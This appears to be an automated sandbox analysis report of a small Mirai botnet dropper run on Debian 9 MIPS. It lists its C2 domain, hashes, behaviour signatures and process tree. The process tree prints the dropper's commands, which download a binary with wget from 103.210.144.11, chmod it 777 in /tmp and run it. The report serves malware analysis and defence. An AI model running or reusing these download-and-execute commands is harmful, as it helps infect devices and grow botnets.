Overview

overview

10

Static

static

1

e1238a13a4...4bf2b8

ubuntu-18.04-amd64

10

e1238a13a4...4bf2b8

debian-9-armhf

10

e1238a13a4...4bf2b8

debian-9-mips

10

e1238a13a4...4bf2b8

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30/10/2026, 03:29

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General

  • Target
    e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
  • Size 1KB
  • Sample261030-d2d94adb64
  • SHA256 e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetbotnetdefense_evasiondiscoverymirai

Malware Config

Extracted

Family

  • mirai

Botnet

  • BOTNET

C2

  • scan.yerco.xyz

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
    /tmp/e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
    1⤵
    • Executes dropped EXE
    PID:725
    • /bin/uname
      uname -m
      2⤵
        PID:729
      • /bin/pidof
        pidof mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        PID:731
      • /bin/rm
        rm -f /tmp/mips
        2⤵
        • System Network Configuration Discovery
        PID:734
      • /usr/bin/wget
        wget -q http://103.210.144.11/backups/.../mips -O /tmp/mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:737
      • /bin/chmod
        chmod 777 /tmp/mips
        2⤵
        • File and Directory Permissions Modification
        PID:754
      • /usr/bin/id
        id -u
        2⤵
        • Reads runtime system information
        PID:755
      • /bin/rm
        rm cute
        2⤵
          PID:759
        • /tmp/mips
          /tmp/mips mips
          2⤵
          • Modifies Watchdog functionality
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:758
        • /tmp/mips
          /tmp/mips mips
          2⤵
          • Modifies Watchdog functionality
          • System Network Configuration Discovery
          PID:757

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            mips
            • Path /tmp/mips
            • Size 78KB
            • SHA256 a339cdce037870d422543fd97cea105fbc9fd59f8bfa49e7c80966086c747715
            • MD5 SHA1 SHA512 SSDEEP TLSH
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